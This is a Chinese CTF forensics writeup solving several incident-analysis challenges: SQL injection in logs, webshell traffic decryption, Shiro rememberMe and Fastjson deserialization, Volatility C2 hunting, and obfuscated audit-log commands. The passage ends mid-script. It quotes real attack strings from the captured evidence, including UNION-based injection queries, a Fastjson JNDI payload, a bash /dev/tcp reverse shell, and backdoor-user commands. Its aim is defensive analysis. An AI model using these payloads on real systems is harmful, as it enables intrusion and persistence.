mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6mobile wallpaper 7
6976 字
19 分钟
2026CCF网络安全运维赛道Writeup
2026-06-15

封面是B站up:你们这谁叫插歪的图

被入侵的数据库#

题目信息#

2026 年 2 月初,某科技企业互联网资产监控平台报警,业务系统疑似遭入侵,数据库等敏感信息泄露。已提取 Web 中间件访问日志 access.log,要求分析攻击者入侵的数据库名称,并按 flag{数据库名称} 格式提交。

解题思路#

这类题的核心是从海量访问日志中筛出真正的攻击流量。先整体观察日志,可以发现前半部分大多是常见扫描、爬虫访问、弱口令探测和漏洞探针,请求路径杂乱,很多返回 404,属于噪声。

继续向后分析时,发现一组非常关键的请求集中访问 /test/login.php,并且参数中带有明显的 SQL 注入语句,例如:

  • ORDER BY
  • UNION ALL SELECT
  • SLEEP(5)
  • EXTRACTVALUE(...)
  • DATABASE()
  • INFORMATION_SCHEMA.TABLES

这说明攻击者已经定位到 /test/login.php 为可利用点,并开始使用自动化工具对其进行 SQL 注入探测和数据枚举。

关键攻击链#

1. 确认注入点#

日志中多次出现针对 /test/login.php 的注入测试,例如:

/test/login.php?username=tIfX' ORDER BY 1-- -&password=EGJr
/test/login.php?username=tIfX' UNION ALL SELECT ...-- -&password=EGJr

这说明攻击者在 username 参数位置进行 SQL 注入。

2. 获取当前数据库名#

在日志第 3603 行附近,可以看到攻击者直接调用了 DATABASE()

GET /test/login.php?username=LxBV' UNION ALL SELECT NULL,CONCAT(0x7178766b71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x71626b7871),NULL,NULL-- -&password=xcOn

这一步说明攻击者正在读取当前连接数据库名。

3. 枚举目标库中的表#

随后在第 3608 行,攻击者开始枚举 INFORMATION_SCHEMA.TABLES,并指定 table_schema

GET /test/login.php?username=vRiv' UNION ALL SELECT NULL,CONCAT(0x7178766b71,JSON_ARRAYAGG(CONCAT_WS(0x77736e786561,table_name)),0x71626b7871),NULL,NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6c6f67696e5f6462)-- -&password=cZSY

其中十六进制字符串:

0x6c6f67696e5f6462

解码后为:

login_db

4. 进一步验证#

后续日志继续直接查询该库中的表,进一步坐实数据库名:

FROM login_db.secret
FROM login_db.users

对应日志包括:

  • 第 3615 行:查询 login_db.secret
  • 第 3619 行:查询 login_db.users

这说明攻击者已经成功进入并枚举 login_db 数据库中的敏感表。

关键证据位置#

关键日志位于 access.log 的以下位置:

  • 3603 行:利用 DATABASE() 获取当前数据库名
  • 3608 行:枚举 INFORMATION_SCHEMA.TABLES,出现十六进制库名 0x6c6f67696e5f6462
  • 3615 行:直接访问 login_db.secret
  • 3619 行:直接访问 login_db.users

结论#

攻击者入侵并操作的数据库名称为:

login_db

因此最终提交的 flag 为:

flag{login_db}

系统后门用户分析#

Summary#

本题给出 流量分析.pcapng,需要从攻击流量中还原攻击者的 WebShell 操作,并定位其添加的 Windows 后门用户。核心思路是重组 HTTP 流量,提取 WebShell 加密参数,再解码后续命令执行记录。

Solution#

Step 1: 定位 WebShell 上传行为#

流量主要集中在:

192.168.1.100 -> 192.168.1.200:8022

前期存在目录扫描和敏感文件探测,例如:

GET /../../../../etc/passwd
GET /.htpasswd
GET /.bash_history

继续查看 POST 请求,可以发现攻击者向 /upload.php 上传了 PHP WebShell:

filename="w.php"

WebShell 中暴露了后续通信的关键参数:

$pass='gg';
$payloadName='payload';
$key='3c6e0b8a9c15224a';

因此后续参数名为 gg,数据解码流程为:

URL decode -> base64 decode -> XOR(key) -> gzip decompress

Step 2: 解密 WebShell 交互流量#

下面脚本会从 pcapng 中提取 HTTP POST 请求,按照 WebShell 的编码逻辑解密参数 gg,并搜索添加用户的命令:

from pathlib import Path
import base64
import gzip
import re
import urllib.parse
from scapy.all import IP, TCP, Raw, rdpcap
PCAP = next(Path(".").glob("*.pcapng"))
KEY = b"3c6e0b8a9c15224a"
def xor_decode(data: bytes) -> bytes:
out = bytearray(data)
for i in range(len(out)):
out[i] ^= KEY[(i + 1) & 15]
return bytes(out)
def decode_gg(value: str) -> bytes:
raw = base64.b64decode(value.encode() + b"=" * ((4 - len(value) % 4) % 4))
data = xor_decode(raw)
if data.startswith(b"\x1f\x8b"):
data = gzip.decompress(data)
return data
def reassemble(segments):
out = bytearray()
cur = None
seen = set()
for seq, data in sorted(segments):
sig = (seq, len(data), data[:16])
if sig in seen:
continue
seen.add(sig)
if cur is None:
cur = seq
if seq < cur:
overlap = cur - seq
if overlap >= len(data):
continue
data = data[overlap:]
out.extend(data)
cur = seq + len(data)
return bytes(out)
packets = rdpcap(str(PCAP))
streams = {}
for pkt in packets:
if IP in pkt and TCP in pkt and Raw in pkt:
tcp = pkt[TCP]
if tcp.sport == 8022 or tcp.dport == 8022:
key = (pkt[IP].src, tcp.sport, pkt[IP].dst, tcp.dport)
streams.setdefault(key, []).append((tcp.seq, bytes(pkt[Raw].load)))
request_start = re.compile(rb"(GET|POST) ([^ ]+) HTTP/1\.[01]\r\n")
for stream_key, segments in streams.items():
if stream_key[3] != 8022:
continue
data = reassemble(segments)
starts = list(request_start.finditer(data))
for i, match in enumerate(starts):
if match.group(1) != b"POST":
continue
end = starts[i + 1].start() if i + 1 < len(starts) else len(data)
block = data[match.start():end]
header_end = block.find(b"\r\n\r\n")
if header_end < 0:
continue
body = block[header_end + 4 :]
params = urllib.parse.parse_qs(body.decode("latin1", "replace"))
if "gg" not in params:
continue
decoded = decode_gg(params["gg"][0])
text = decoded.decode("utf-8", "replace")
hit = re.search(r"net user\s+([^\s]+)\s+/add", text, re.IGNORECASE)
if hit:
username = hit.group(1)
print(f"flag{{{username}}}")
raise SystemExit

运行后可以得到关键命令:

cmd /c "cd /d "E:/system/phpstudy_pro/WWW/uploads/"&net user hacker-gg /add" 2>&1

这说明攻击者添加的后门用户为:

hacker-gg

之后攻击者再次执行 net user,返回用户列表中已经出现:

Administrator
ayy
DefaultAccount
Guest
hacker-gg
WDAGUtilityAccount

Step 3: 确认结果#

net user hacker-gg /add 是 Windows 本地用户添加命令,后续用户列表也验证了该账户已经存在。因此后门用户名称确定为 hacker-gg

Flag#

flag{hacker-gg}

Shiro 攻击流量分析#

Summary#

这道题给了一份攻击流量包,并额外告诉我们目标系统使用了组件默认密钥:

90F1FE6C8C64E43D9D799888C5C69A68

同时题目还提示:

前 32 位十六进制位为 IV

这两个条件组合在一起,基本可以直接联想到 Apache Shiro 的 rememberMe 反序列化利用。Shiro 在某些版本和配置下,会把序列化对象加密后放进 rememberMe Cookie 中;如果服务端使用默认密钥,那么攻击者就可以构造恶意序列化数据,借助 rememberMe 触发反序列化执行。

所以这题的核心并不是单纯“看 HTTP 请求里有什么”,而是:

  1. 从 pcapng 中找到可疑的 rememberMe Cookie。
  2. 使用题目给出的默认密钥进行 AES 解密。
  3. 从解密后的 Java 序列化对象中提取真正被利用的恶意类名。
  4. 区分“初始利用类”和“后续加载的内存马类”,避免答错。

最终可以确认,题目要求的恶意类名称是:

Test105692713192100

最终 flag 为:

flag{Test105692713192100}

背景判断#

1. 为什么怀疑是 Shiro#

流量中存在大量对 192.168.103.253:8089 的 HTTP 请求,请求头中带有:

Cookie: rememberMe=...

rememberMe 本身就是 Shiro 非常有标志性的字段。再结合题目给出的 16 字节默认 key,可以很自然地判断出这是 Shiro rememberMe 利用题。

2. 为什么提示里的 IV 很关键#

Shiro 的 rememberMe Cookie 常见格式是:

Base64( IV || Ciphertext )

也就是说:

  1. 先对 Cookie 做 Base64 解码。
  2. 前 16 字节作为 AES-CBC 的 IV。
  3. 剩下的部分才是真正的密文。

题目提示“前 32 位十六进制位为 IV”,本质上就是在告诉我们:

前 16 字节 = IV

这一步如果理解错,后面的解密结果就会完全不对。

流量观察#

在这份流量里,可以看到攻击者不是一上来就成功,而是先发了多轮 rememberMe 请求。前面很多请求虽然也带有较长的 Cookie,但用题目给出的 key 解出来都不对,说明攻击者大概率在尝试不同 key,或者在做利用前的探测。

后面开始出现能成功解密的 payload,请求方向主要是:

192.168.103.251 -> 192.168.103.253:8089

解密成功后,序列化对象里出现了这些非常关键的字符串:

java.util.PriorityQueue
org.apache.commons.beanutils.BeanComparator
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这说明攻击者使用的是典型的 Java 反序列化利用链,借助 TemplatesImpl 在反序列化过程中加载恶意字节码。

这里需要特别注意:

TemplatesImpl 本身不是我们要交的恶意类名。它只是利用链中的一个关键载体,真正的恶意代码会以内嵌 class 字节码的方式藏在序列化数据里。

Wireshark 复现过程#

这一部分按照 Wireshark 实际操作流程来写,目标是让读者不用先跑脚本,也能先在流量包中确认攻击链,再把关键 Cookie 提取出来做解密。

Step 1: 先看目标站点的 HTTP 流量#

打开流量包后,先使用下面的显示过滤器:

ip.addr == 192.168.103.253 && tcp.port == 8089

这样可以把无关的外连流量先排掉,只保留和目标主机 192.168.103.253:8089 的通信。

如果这里没有正常识别为 HTTP,可以手动做一次 Decode As

  1. 选中任意一个 8089 端口的包。
  2. 右键 Decode As...
  3. 选择 TCP Port
  4. 8089 解码成 HTTP

完成后再观察这些请求,就能看到它们是标准的 HTTP 报文。

Step 2: 确认攻击字段是 rememberMe#

继续使用下面的过滤器:

http.request && ip.dst == 192.168.103.253 && tcp.dstport == 8089 && http.cookie contains "rememberMe"

这一步可以直接把带有 rememberMe Cookie 的 HTTP 请求筛出来。

最前面的两条关键流量是:

  • frame 1GET / HTTP/1.1
  • frame 3GET /login;jsessionid=... HTTP/1.1

展开 Hypertext Transfer Protocol 后,可以看到它们的 Cookie 都是:

rememberMe=1

这里说明目标站点确实在处理 rememberMe,也进一步支持了这是 Shiro 题目的判断。

Step 3: 找到真正的攻击 payload#

继续沿着上面的过滤结果往下看,会发现从 frame 7 开始,rememberMe 的值不再是简单的 1,而变成了很长的一串 Base64 字符串。

例如:

  • frame 7
  • frame 9
  • frame 13
  • frame 15
  • 一直到 frame 163

这些就是攻击者不断尝试的利用 payload。

这一阶段只靠 Wireshark 还看不出哪个 payload 真正成功了,所以需要继续找服务端返回的“执行成功”证据。

Step 4: 找到第一次成功执行的证据#

使用过滤器:

http contains "techo"

可以命中一个非常关键的响应包:

  • frame 120

查看这个包的 HTTP 响应内容,可以看到:

techo: f25a2fc72690b780b2a14e140ef6a9e0

这说明攻击者的 payload 已经在服务端执行成功,不再只是失败的探测流量。

接下来要反推:是哪一个请求触发了这个响应。

Step 5: 锁定第一次成功攻击对应的请求#

观察 frame 120 的 TCP 会话,可知这是一条服务端端口为 8089、客户端端口为 61603 的连接。

此时使用过滤器:

tcp.port == 61603 && ip.addr == 192.168.103.253

会把这一条会话单独筛出来,其中关键的两个包是:

  • frame 115GET / HTTP/1.1
  • frame 120HTTP/1.1 302

其中 frame 120 带有 techo: ...,所以可以确认:

frame 115 是第一次成功触发执行的 rememberMe 请求

这一步非常重要,因为它直接决定了后面应该取哪一个 Cookie 去解密。

Step 6: 在 Wireshark 中提取第一次成功利用的 rememberMe#

现在选中 frame 115,有两种查看方式都可以:

  1. 展开 Hypertext Transfer Protocol,直接看 Cookie: rememberMe=...

  2. 右键该包,选择 Follow -> HTTP Stream

HTTP Stream 里可以非常直观地看到完整请求头,其中包含一条超长的 Cookie:

Cookie: rememberMe=BSTAxygllliVm7k1w5tK4HPI...

这一步的目的不是在 Wireshark 里完成解密,而是:

把第一次成功攻击对应的 rememberMe 值准确提取出来

后面就可以把这个值复制出去,用脚本做 Base64 解码和 AES 解密。

Step 7: 观察攻击者已经拿到命令回显#

除了 frame 120 的测试性回显外,还能在后续流量里看到更明显的命令执行结果。

使用过滤器:

tcp.port == 61607 && ip.addr == 192.168.103.253

会看到:

  • frame 129:请求
  • frame 134:响应

查看 frame 134 的响应体,会看到一大段 Base64 内容,例如:

$$$cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA...

这通常是攻击者把命令执行结果再编码后回传,说明此时已经具备了稳定的远程执行能力。

Step 8: 找到二阶段 POST 注入行为#

接下来再看后面的 POST 请求。使用过滤器:

http.request.method == "POST" && ip.dst == 192.168.103.253 && tcp.dstport == 8089

可以看到两个关键请求:

  • frame 137
  • frame 163

选中其中任意一个,展开 HTTP 请求体,可以看到参数:

dy=...

如果想更直接地筛出这类请求,也可以使用:

http contains "dy="

这说明攻击者在初始利用成功后,又通过 POST 请求下发了新的二阶段 payload。

Step 9: 确认二阶段 payload 是 Filter 内存马#

为了看二阶段 payload 的执行结果,使用过滤器:

http contains "Filter already exists" || http contains "Success"

可以命中两个关键响应:

  • frame 151->|Filter already exists|<-
  • frame 177->|Success|<-

如果分别看这两条会话:

第一次 POST 会话:

tcp.port == 61609 && ip.addr == 192.168.103.253

会看到:

  • frame 137:POST 请求
  • frame 151:返回 Filter already exists

第二次 POST 会话:

tcp.port == 61616 && ip.addr == 192.168.103.253

会看到:

  • frame 163:POST 请求
  • frame 177:返回 Success

这些字符串非常像典型的 Filter 型内存马注入结果,也和后续脚本里解析出的 GodzillaFilter 完全对应。

Step 10: 用 Wireshark 得到的结论反推正确答案#

单靠 Wireshark,我们已经能够确认以下事实:

  1. 攻击入口是 rememberMe Cookie。
  2. 第一次明确成功执行的请求是 frame 115
  3. 后面的 POST 请求属于二阶段注入行为。
  4. Filter already existsSuccess 对应的是后续内存马注入,而不是最初的利用类。

因此,在做脚本解密时,应该优先取:

frame 115 对应的 rememberMe

而不是去取后续 POST 里的 dy 参数作为题目答案。

分析思路#

为了避免只凭肉眼猜测,最稳妥的方法是写脚本自动做下面几件事:

  1. 读取 pcapng。
  2. 按 TCP 四元组重组 HTTP 流。
  3. 从请求里提取 rememberMe 值。
  4. 对每个值做 Base64 解码。
  5. 取前 16 字节作为 IV,用题目给的 key 做 AES-CBC 解密。
  6. 去掉 PKCS#7 padding。
  7. 如果解密后的数据中存在 Java class 魔数 CAFEBABE,就继续解析 class 文件常量池。
  8. this_class 对应的类名,得到真正的恶意类。

这样分析的好处是结论可复现,也不容易把后续二阶段 payload 和初始攻击 payload 混在一起。

解题脚本#

下面是一份完整的求解脚本。它会直接从当前目录下的 *.pcapng 文件中提取出首次成功攻击使用的恶意类名,并打印最终 flag。

from scapy.all import rdpcap, TCP, IP, Raw
from collections import defaultdict
from pathlib import Path
import re
import base64
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
AES_KEY = bytes.fromhex("90F1FE6C8C64E43D9D799888C5C69A68")
def reassemble(parts):
parts = sorted(parts)
base = parts[0][0]
buf = bytearray()
for seq, data, pkt_no in parts:
off = seq - base
if off < 0:
data = data[-off:]
off = 0
if off > len(buf):
buf.extend(b"\x00" * (off - len(buf)))
overlap = len(buf) - off
if overlap <= 0:
buf.extend(data)
elif overlap < len(data):
buf.extend(data[overlap:])
return bytes(buf)
def parse_class_name(data, off):
p = off
assert data[p:p + 4] == b"\xca\xfe\xba\xbe"
p += 4
minor, major, cp_count = struct.unpack(">HHH", data[p:p + 6])
p += 6
cp = [None] * cp_count
i = 1
while i < cp_count:
tag = data[p]
p += 1
if tag == 1:
length = struct.unpack(">H", data[p:p + 2])[0]
p += 2
cp[i] = ("Utf8", data[p:p + length].decode("utf-8", "replace"))
p += length
elif tag == 7:
cp[i] = ("Class", struct.unpack(">H", data[p:p + 2])[0])
p += 2
elif tag in (8, 16, 19, 20):
p += 2
elif tag in (3, 4, 9, 10, 11, 12, 17, 18):
p += 4
elif tag in (5, 6):
p += 8
i += 1
elif tag == 15:
p += 3
else:
raise ValueError(f"unknown constant pool tag: {tag}")
i += 1
access_flags, this_class, super_class = struct.unpack(">HHH", data[p:p + 6])
name_index = cp[this_class][1]
return cp[name_index][1]
pcap = next(Path(".").glob("*.pcapng"))
packets = rdpcap(str(pcap))
flows = defaultdict(list)
for pkt_no, pkt in enumerate(packets, 1):
if IP in pkt and TCP in pkt and Raw in pkt:
ip = pkt[IP]
tcp = pkt[TCP]
key = (ip.src, tcp.sport, ip.dst, tcp.dport)
flows[key].append((int(tcp.seq), bytes(pkt[Raw].load), pkt_no))
hits = []
for flow, parts in flows.items():
data = reassemble(parts)
if b"rememberMe=" not in data:
continue
text = data.decode("latin1", "replace")
match = re.search(r"rememberMe=([^;\r\n ]+)", text)
if not match:
continue
cookie = match.group(1)
if cookie in ("1", "deleteMe") or len(cookie) < 100:
continue
try:
raw = base64.b64decode(cookie + "=" * ((4 - len(cookie) % 4) % 4))
iv = raw[:16]
ciphertext = raw[16:]
plaintext = AES.new(AES_KEY, AES.MODE_CBC, iv).decrypt(ciphertext)
plaintext = unpad(plaintext, 16)
except Exception:
continue
class_off = plaintext.find(b"\xca\xfe\xba\xbe")
if class_off == -1:
continue
class_name = parse_class_name(plaintext, class_off)
first_pkt = min(item[2] for item in parts)
hits.append((first_pkt, flow, class_name))
hits.sort(key=lambda x: x[0])
for first_pkt, flow, class_name in hits:
print(first_pkt, flow, class_name)
first_attack_class = hits[0][2].split("/")[-1]
print(f"flag{{{first_attack_class}}}")

脚本输出结果#

运行后可得到如下关键输出:

115 ('192.168.103.251', 61603, '192.168.103.253', 8089) x/Test105692713192100
121 ('192.168.103.251', 61604, '192.168.103.253', 8089) x/Test105692713192100
129 ('192.168.103.251', 61607, '192.168.103.253', 8089) x/Test105692713192100
137 ('192.168.103.251', 61609, '192.168.103.253', 8089) x/Test105714876940900
163 ('192.168.103.251', 61616, '192.168.103.253', 8089) x/Test105733260460900
flag{Test105692713192100}

这里可以看出,成功解密并解析出类名的 payload 一共有三组,分别对应:

Test105692713192100
Test105714876940900
Test105733260460900

其中最早成功触发攻击的是:

x/Test105692713192100

由于题目问的是“攻击者攻击时用的恶意类的名称”,通常应当取首次成功攻击时的恶意类名,也就是:

Test105692713192100

为什么不是 GodzillaFilter#

这是这题最容易出错的地方,我单独解释一下。

在后续流量中,攻击者又发起了 POST 请求,请求体里存在参数 dy。这个参数经过 URL 解码和 Base64 解码后,可以还原出另一个 class 文件,其类名为:

x/GodzillaFilter

并且这个 class 里还能看到一些非常典型的内存马相关字符串:

addFilter
doFilter
Filter already exists
Success

从这些特征可以判断,GodzillaFilter 是攻击成功后注入到目标应用中的二阶段 Filter 内存马。

也就是说,整个攻击过程实际上分成两层:

  1. 第一层:利用 Shiro rememberMe 反序列化,触发 TemplatesImpl 加载恶意字节码。
  2. 第二层:在成功利用后,再通过后续请求把 GodzillaFilter 这样的内存马类注入进去。

题目给出的线索完全围绕 Shiro 默认 key 和 IV 展开,因此更合理的理解是:

题目要找的是第一层攻击中,放在 rememberMe 恶意序列化数据里的类名,而不是第二层加载进去的内存马类。

所以正确答案不是:

GodzillaFilter

而是:

Test105692713192100

攻击链还原#

把整条链路串起来,流程大致如下:

  1. 攻击者不断向目标站点发送带有 rememberMe 的请求。
  2. 前期 payload 多次失败,说明攻击者在做探测或尝试不同利用方式。
  3. 后期某个 rememberMe payload 能够被题目给定 key 正确解密。
  4. 解密结果显示其内部是一个 Java 反序列化利用链,核心载体是 TemplatesImpl
  5. TemplatesImpl 携带的恶意 class 首次成功出现时,类名为 x/Test105692713192100
  6. 攻击者在拿到初始执行能力后,又通过 POST 参数下发 x/GodzillaFilter,完成二阶段内存马注入。
  7. 因题目要求的是攻击时使用的恶意类名,所以应答第一阶段 payload 中的类名。

Flag#

flag{Test105692713192100}

远程命令执行#

摘要#

题目给出一份 流量分析.pcapng,背景是某重点单位网络安全设备告警,核心服务器疑似被攻击者拿下。流量中可以还原出一条比较完整的攻击路径:攻击者向本地 Java Web 服务提交恶意 JSON,触发 JdbcRowSetImpl 访问 LDAP,LDAP 返回序列化 gadget,最终执行反弹 shell,并在 shell 中添加后门用户。

本次分析可以确认:

  • 攻击入口:JSON 反序列化/AutoType 风格 payload。
  • 关键类:com.sun.rowset.JdbcRowSetImpl
  • LDAP 资源路径:Deserialize/Fastjson1/Command/...
  • 命令执行:反弹到 192.168.203.71:4444
  • 后门用户:hacker-007

但截至本文整理时,多个可能的 flag 均未被平台接受,因此最后保留未解出的 flag 格式问题。

环境与工具#

分析环境:

Windows + Python 3.10
scapy
CTF-NetA

使用 scapy 直接解析 pcapng 并按 TCP 流重组 payload。

流量概览#

pcap 中与攻击相关的主要会话如下:

方向协议/端口作用
192.168.203.71:50450 -> 192.168.203.71:8090HTTP恶意 JSON 请求
192.168.203.74:1389 -> 192.168.203.71:50451LDAP返回 Java 序列化 payload
192.168.203.71:50452 -> 192.168.203.71:4444TCP shell反弹 shell 输出
192.168.203.71:4444 -> 192.168.203.71:50452TCP shell攻击者输入命令

核心服务运行在 192.168.203.71:8090,LDAP 服务器是 192.168.203.74:1389,反弹 shell 监听端口是 4444

复现脚本#

下面脚本会从 pcapng 中提取 HTTP 请求、LDAP 中的命令载荷,以及反弹 shell 中的交互命令。

from pathlib import Path
from collections import defaultdict
import base64
import re
from scapy.all import IP, TCP, Raw, rdpcap
def b64decode_padded(value: bytes) -> bytes:
value = value.strip().rstrip(b"0")
value += b"=" * ((4 - len(value) % 4) % 4)
return base64.b64decode(value)
pcap = next(Path(".").glob("*.pcapng"))
packets = rdpcap(str(pcap))
streams = defaultdict(list)
for index, pkt in enumerate(packets, 1):
if IP in pkt and TCP in pkt and Raw in pkt:
left = (pkt[IP].src, pkt[TCP].sport)
right = (pkt[IP].dst, pkt[TCP].dport)
key = tuple(sorted([left, right]))
streams[key].append((index, left, right, bytes(pkt[Raw].load)))
for key, segments in streams.items():
blob = b"".join(data for _, _, _, data in segments)
if b"POST / HTTP/1.1" in blob or b"JdbcRowSetImpl" in blob:
print("\n[HTTP exploit stream]", key)
print(blob.decode("utf-8", errors="replace"))
if b"Deserialize/Fastjson1/Command/" in blob:
print("\n[LDAP payload stream]", key)
match = re.search(rb"Command/([A-Za-z0-9+/=]+)", blob)
if match:
command = b64decode_padded(match.group(1))
print(command.decode("utf-8", errors="replace"))
inner = re.search(rb"echo,([^}]+)", command)
if inner:
real_command = b64decode_padded(inner.group(1))
print(real_command.decode("utf-8", errors="replace"))
if any(port == 4444 for endpoint in key for port in endpoint[1:]):
print("\n[shell stream]", key)
for index, left, right, data in segments:
print(index, left, "->", right, repr(data))

预期可以看到三类关键输出:

"@type":"com.sun.rowset.JdbcRowSetImpl"
"dataSourceName":"ldap://192.168.203.74:1389/Deserialize/Fastjson1/Command/..."
bash -c {echo,...}|{base64,-d}|{bash,-i}
bash -i >& /dev/tcp/192.168.203.71/4444 0>&1
useradd hacker-007

关键证据#

1. 恶意 JSON 触发 JNDI#

HTTP 请求体中出现了典型的 Fastjson AutoType/JNDI 利用形态:

{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.203.74:1389/Deserialize/Fastjson1/Command/YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4T1RJdU1UWTRMakl3TXk0M01TODBORFEwSURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==",
"autoCommit": true
}
}

其中 @type 指定了 com.sun.rowset.JdbcRowSetImpldataSourceName 指向 LDAP 地址。这个类在 Fastjson 反序列化漏洞利用链中经常用于触发 JNDI lookup。

从流量自身能确认的是:

Deserialize/Fastjson1/Command/...
map.jndi.gadget.Fastjson1
com.alibaba.fastjson.JSONArray
com.sun.rowset.JdbcRowSetImpl

因此,攻击组件可以描述为 Fastjson 反序列化组件,具体利用类为 JdbcRowSetImpl

2. LDAP 返回序列化 payload#

LDAP 响应中包含 Java 序列化数据:

javaSerializedData
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
javax.management.BadAttributeValueExpException
com.alibaba.fastjson.JSONArray

这说明攻击者不是只做了普通探测,而是让目标从 LDAP 获取了可执行 gadget 数据。TemplatesImplBadAttributeValueExpException 均是 Java 反序列化利用中常见的 gadget 关键字。

3. 命令解码#

LDAP 路径中 Command/ 后面的 Base64 解码后为:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMy43MS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

内层 Base64 再解码得到真正执行的命令:

bash -i >& /dev/tcp/192.168.203.71/4444 0>&1

这是一条 Bash 反弹 shell 命令,目标地址为 192.168.203.71,端口为 4444

4. 反弹 shell 与后门用户#

随后出现了 4444 端口上的 shell 交互:

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6ac840e194c7:/#

攻击者随后输入:

useradd hacker-007

服务端回显中也能看到命令被拆包返回:

u
seradd ha
cker-00
7

因此,后门用户名可以确定为:

hacker-007

关于 Fastjson 版本#

从 payload 形态看,它高度符合 Fastjson 1.2.24 时代的 AutoType/JNDI 利用方式:使用 @type 指向 com.sun.rowset.JdbcRowSetImpl,再通过 dataSourceName 触发 LDAP/JNDI。

不过需要注意:pcap 中没有直接泄露目标服务的依赖清单、Maven 版本或 jar 文件名,所以 1.2.24 是基于利用链特征的推断,不是流量中直接出现的明文版本号。

候选 Flag 与失败记录#

题目要求:

flag字母小写。
用:分割。
如:flag{shiro:user}

基于证据,曾尝试或推导过以下候选:

flag{fastjson:hacker-007}
flag{fastjson1:hacker-007}
flag{jdbcrowsetimpl:hacker-007}
flag{com.sun.rowset.jdbcrowsetimpl:hacker-007}
flag{fastjson1.2.24:hacker-007}

这些候选均不正确。

目前能确定的是后半部分 hacker-007 证据非常充分;主要不确定点集中在前半部分,也就是题目所谓“哪个 java 组件”的判定口径。它可能要求的是:

  • 漏洞库名:fastjson
  • 利用链标签:fastjson1
  • 具体触发类:jdbcrowsetimpl
  • 全限定类名:com.sun.rowset.jdbcrowsetimpl
  • 版本化漏洞名:fastjson1.2.24
  • 或者平台另有非流量明文中的标准答案

结论#

本题流量可以还原出如下攻击路径:

  1. 攻击者向 192.168.203.71:8090 发送恶意 JSON。
  2. JSON 中通过 @type 指定 com.sun.rowset.JdbcRowSetImpl
  3. 目标访问 ldap://192.168.203.74:1389/Deserialize/Fastjson1/Command/...
  4. LDAP 返回 Java 序列化 payload,其中包含 TemplatesImpl 等 gadget。
  5. payload 执行 Bash 反弹 shell:
bash -i >& /dev/tcp/192.168.203.71/4444 0>&1
  1. 攻击者在 shell 中添加后门用户:
useradd hacker-007

最终可确认的调查结论是:

Java 组件/利用链:Fastjson / JdbcRowSetImpl JNDI 利用链
推测版本:Fastjson 1.2.24
后门用户:hacker-007

但最终 flag 仍未通过验证。本文保留所有证据与失败候选,供后续继续核对题目预期答案或平台格式。


C2远控#

Summary#

题目提供 Windows 内存镜像 mem.raw 与 Volatility 3 工具 vol.exe。通过内存网络连接扫描定位 C2 外联地址,再结合进程命令行与模块列表还原木马落地路径。

Solution#

Step 1: 附件识别#

工作目录包含:

文件说明
mem.raw2 GB 物理内存镜像
vol.exeVolatility 3 Framework 2.27.0

题目要求输出格式为 flag{外联地址:木马路径},例如 flag{127.0.0.1:C:\Windows\exec.exe}

Step 2: 网络连接扫描#

使用 windows.netscan 枚举内存中的 TCP/UDP 连接,筛选异常外联:

Terminal window
.\vol.exe -f mem.raw windows.netscan

关键命中(节选):

ForeignAddr ForeignPort State PID Owner
192.168.103.250 8080 ESTABLISHED 708 agent.x64.e

进程 agent.x64.e(PID 708)与内网地址 192.168.103.250:8080 存在 ESTABLISHED 连接,符合 C2 Beacon 特征。同一份输出中还存在 iexplore.execmd.exe 等正常/可疑连接,但名称与 C2 代理特征最吻合的是 agent.x64.e

Step 3: 还原木马路径#

针对 PID 708 分别提取进程信息、命令行与加载模块:

Terminal window
.\vol.exe -f mem.raw windows.pslist --pid 708
.\vol.exe -f mem.raw windows.cmdline --pid 708
.\vol.exe -f mem.raw windows.dlllist --pid 708

输出摘要:

# pslist
PID PPID ImageFileName CreateTime
708 2144 agent.x64.e 2026-04-15 06:01:45 UTC
# cmdline
708 agent.x64.e "C:\Users\win7\Downloads\agent.x64.exe"
# dlllist (主模块)
Path: C:\Users\win7\Downloads\agent.x64.exe

父进程 PPID 2144 为 explorer.exe,说明木马由用户从下载目录手动/诱导执行。

Step 4: 证据链汇总#

维度证据
C2 外联192.168.103.250(端口 8080,ESTABLISHED)
恶意进程agent.x64.e / PID 708
木马路径C:\Users\win7\Downloads\agent.x64.exe
启动方式命令行直接执行下载目录下的 agent

按题目要求用冒号拼接外联 IP 与木马绝对路径。

Flag#

flag{192.168.103.250:C:\Users\win7\Downloads\agent.x64.exe}

工具与备注#

  • Volatility 3 2.27.0(vol.exe
  • 首次分析若加 --offline 且本地无符号,需联网下载 ntkrnlmp.pdb;符号缓存目录为 symbols/windows/
  • 并行跑多个 vol 插件可能触发符号文件锁冲突,建议顺序执行

深夜的异常登录#

Summary#

分析合并日志 combined.log(含 SSH 认证、UFW 防火墙、Linux 审计日志),从大量爆破噪声中定位真实攻击会话,解码十六进制混淆命令,提取攻击者 IP、恶意脚本名与 chmod 权限,按 flag{IP_脚本名_权限} 格式提交。

Solution#

Step 1: 定位审计日志中的混淆命令#

日志前 15000 行主要为 SSH 爆破噪声。直接检索审计与防火墙关键字:

grep -E "audit\[|UFW ALLOW|Accepted password" combined.log | tail -100

02:02:05 附近发现攻击链:

audit[12347]: a0="id"
audit[12348]: a0="exit"
audit[12349]: a0="echo" a1="77676574..."
audit[12350]: a0="sh" a1="-c" a2="echo '77676574...' | xxd -p -r | bash"
audit[12351]: a0="whoami"

攻击者使用 echo <hex> | xxd -p -r | bash 隐藏真实命令。

Step 2: 解码 payload 并关联真实 IP#

全文件仅有一条 UFW 放行记录,可与 SSH 成功登录按源 IP + 源端口闭环。以下脚本从 combined.log 直接解出 flag:

import re
from pathlib import Path
log = Path("combined.log").read_text(encoding="utf-8", errors="ignore")
# 解码审计日志中的 hex 混淆命令
